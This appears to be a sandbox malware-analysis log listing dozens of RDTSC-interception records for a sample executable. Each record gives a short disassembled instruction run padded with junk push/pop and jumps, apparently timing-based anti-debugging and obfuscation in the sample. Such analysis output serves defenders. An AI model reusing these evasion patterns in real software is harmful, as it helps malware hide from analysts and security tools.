Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BE98 second address: 113BEA5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3AD1315046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11418FA second address: 11418FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1141440 second address: 1141446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1145FAD second address: 1145FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE0A1h 0x00000009 popad 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e popad 0x0000000f pushad 0x00000010 pushad 0x00000011 jmp 00007F3AD12BE09Bh 0x00000016 jl 00007F3AD12BE096h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3AD12BE0A2h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A238 second address: 114A24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3AD1315046h 0x0000000a popad 0x0000000b jng 00007F3AD1315060h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A0C9 second address: 114A0D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3AD12BE096h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A0D7 second address: 114A0FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3AD1315058h 0x0000000c jnl 00007F3AD1315046h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 114A0FC second address: 114A102 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151254 second address: 115126E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD131504Eh 0x00000009 je 00007F3AD1315046h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115126E second address: 11512B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F3AD12BE0A2h 0x0000000b jmp 00007F3AD12BE0A9h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 jmp 00007F3AD12BE0A0h 0x0000001c pushad 0x0000001d popad 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115445C second address: 1154460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115AA51 second address: 115AA57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115AA57 second address: 115AA5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115954A second address: 115955D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE09Eh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599BC second address: 11599C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599C2 second address: 11599C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599C8 second address: 11599D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F3AD1315046h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11599D2 second address: 11599D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115E2D6 second address: 115E2EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F3AD1315050h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115DE42 second address: 115DE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F0F3 second address: 106F103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 js 00007F3AD1315046h 0x0000000c popad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169A60 second address: 1169A75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3AD12BE096h 0x0000000a jmp 00007F3AD12BE09Ah 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E851 second address: 116E857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E857 second address: 116E85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E85C second address: 116E861 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E861 second address: 116E867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E867 second address: 116E871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E871 second address: 116E884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F3AD12BE096h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E884 second address: 116E88C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E88C second address: 116E892 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116E892 second address: 116E89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3AD1315046h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A2FA second address: 117A30C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3AD12BE096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F3AD12BE09Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A30C second address: 117A310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A310 second address: 117A323 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD12BE09Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117A323 second address: 117A327 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B9B0 second address: 117B9B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B9B4 second address: 117B9BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B9BA second address: 117B9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F3AD12BE0A9h 0x0000000e jnp 00007F3AD12BE096h 0x00000014 js 00007F3AD12BE096h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B9ED second address: 117B9F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D484 second address: 117D4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE0A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D4A0 second address: 117D4C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jnl 00007F3AD1315046h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop ecx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D611 second address: 117D617 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D379 second address: 118D37F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D37F second address: 118D38B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D38B second address: 118D391 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D689 second address: 118D6A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F3AD12BE0A2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6A7 second address: 118D6AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6AB second address: 118D6AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6AF second address: 118D6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD1315058h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6D0 second address: 118D6DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6DE second address: 118D6E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6E2 second address: 118D6E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6E6 second address: 118D6F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3AD1315046h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6F2 second address: 118D6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jng 00007F3AD12BE096h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D6FE second address: 118D725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3AD131504Eh 0x0000000f jmp 00007F3AD131504Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D870 second address: 118D883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3AD12BE09Ah 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D883 second address: 118D891 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3AD1315046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D891 second address: 118D8A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 js 00007F3AD12BE0A4h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118D8A4 second address: 118D8A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DCE3 second address: 118DCE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DCE7 second address: 118DD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3AD1315046h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F3AD1315046h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118DD01 second address: 118DD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11920F4 second address: 1192132 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315059h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007F3AD1315066h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3AD1315058h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11923D0 second address: 119243B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007F3AD12BE098h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 js 00007F3AD12BE0AAh 0x00000028 jmp 00007F3AD12BE0A4h 0x0000002d push 00000004h 0x0000002f xor edx, 0B7F1E73h 0x00000035 call 00007F3AD12BE099h 0x0000003a pushad 0x0000003b pushad 0x0000003c push edi 0x0000003d pop edi 0x0000003e jmp 00007F3AD12BE09Dh 0x00000043 popad 0x00000044 jnp 00007F3AD12BE09Ch 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1197198 second address: 11971C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Bh 0x00000007 jmp 00007F3AD1315053h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800546 second address: 580054A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580054A second address: 5800550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800550 second address: 5800556 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800556 second address: 580055A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 580055A second address: 580057A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d mov dx, 840Eh 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3AD12BE09Bh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800637 second address: 58006C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315051h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3AD131504Ah 0x00000011 sbb esi, 06ABA198h 0x00000017 jmp 00007F3AD131504Bh 0x0000001c popfd 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 push esi 0x00000021 mov bh, 58h 0x00000023 pop eax 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F3AD1315053h 0x0000002b adc ax, AF0Eh 0x00000030 jmp 00007F3AD1315059h 0x00000035 popfd 0x00000036 mov dx, cx 0x00000039 popad 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 call 00007F3AD1315056h 0x00000045 pop eax 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58006C7 second address: 58006CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800E15 second address: 5800E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800E1B second address: 5800EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3AD12BE0A8h 0x00000009 add ax, C778h 0x0000000e jmp 00007F3AD12BE09Bh 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c mov ch, CDh 0x0000001e jmp 00007F3AD12BE0A7h 0x00000023 popad 0x00000024 push dword ptr [ebp+04h] 0x00000027 jmp 00007F3AD12BE0A6h 0x0000002c push dword ptr [ebp+0Ch] 0x0000002f jmp 00007F3AD12BE0A0h 0x00000034 push dword ptr [ebp+08h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F3AD12BE0A7h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800EB2 second address: 5800ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD1315054h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800ECA second address: 5800ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800EE8 second address: 5800EFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD131504Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800EFA second address: 5800EFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800EFE second address: 5800F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3AD131504Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5800F13 second address: 5800E15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0008h 0x0000000c nop 0x0000000d mov dword ptr [00EE70C0h], eax 0x00000012 push 00C31310h 0x00000017 mov ecx, dword ptr [00EE70A8h] 0x0000001d push ecx 0x0000001e call 00007F3AD5EA4D9Eh 0x00000023 mov edi, edi 0x00000025 jmp 00007F3AD12BE0A2h 0x0000002a xchg eax, ebp 0x0000002b pushad 0x0000002c mov cx, 1CCDh 0x00000030 popad 0x00000031 push eax 0x00000032 jmp 00007F3AD12BE09Fh 0x00000037 xchg eax, ebp 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203B5 second address: 58203B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203B9 second address: 58203BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203BF second address: 58203C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203C5 second address: 58203C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203C9 second address: 58203F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315051h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3AD131504Eh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58203F6 second address: 582040E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE0A3h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 582040E second address: 5820414 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820414 second address: 5820418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5820418 second address: 58204AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3AD1315054h 0x00000013 or si, 24D8h 0x00000018 jmp 00007F3AD131504Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F3AD1315058h 0x00000024 jmp 00007F3AD1315055h 0x00000029 popfd 0x0000002a popad 0x0000002b push eax 0x0000002c pushad 0x0000002d pushad 0x0000002e call 00007F3AD131504Dh 0x00000033 pop esi 0x00000034 movsx edx, ax 0x00000037 popad 0x00000038 mov di, cx 0x0000003b popad 0x0000003c xchg eax, ecx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F3AD131504Eh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58204AD second address: 58204BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE09Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
